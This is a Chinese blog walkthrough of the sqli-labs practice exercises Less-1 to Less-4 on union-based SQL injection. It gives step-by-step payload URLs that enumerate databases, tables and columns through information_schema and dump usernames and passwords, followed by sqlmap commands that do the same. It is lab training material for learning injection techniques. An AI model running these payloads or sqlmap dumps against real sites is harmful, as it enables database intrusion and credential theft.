SQL1-4 使用联合查询进行注入,放在同一篇博客中
对注入原理有不明白的,可以参考本人之前的博客SQL注入介绍
手注
按照提示,输入id值
使用单引号尝试是否存在注入点
根据报错信息,判断sql语句如下:
select * from user where id='1' limit 0,1
现在构造payload,如下:
http://sqli/Less-1?id=1' --+
http://sqli/Less-1?id=1' order by 3 --+
http://sqli/Less-1?id=1' order by 4 --+ #判断出列数为3
http://sqli/Less-1?id=-1' union select 1,2,3 --+
http://sqli/Less-1?id=-1' union select 1,2,database() --+ #查询当前数据库,或者使用下面的语句查询出所有数据库
# http://sqli/Less-1?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
http://sqli/Less-1?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
http://sqli/Less-1?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
http://sqli/Less-1?id=-1' union select 1,2,group_concat(username,0x2c,password) from users --+
Less2、3、4和上面的payload基本相同,就是闭合的符号有所变化,这里不做过多的说明
sqlmap 的使用
sqlmap是一个开源渗透测试工具,它可以自动检测和利用SQL注入缺陷并接管数据库服务器。下面使用sqlmap来进行注入
输入的命令依次如下:
sqlmap http://sqli/Less-1
sqlmap http://sqli/Less-1 --dbs
sqlmap http://sqli/Less-1 -D security --tables
sqlmap http://sqli/Less-1 -D security -T users --columns
sqlmap http://sqli/Less-1 -D security -T users -C username,password --dump
具体过程如下图所示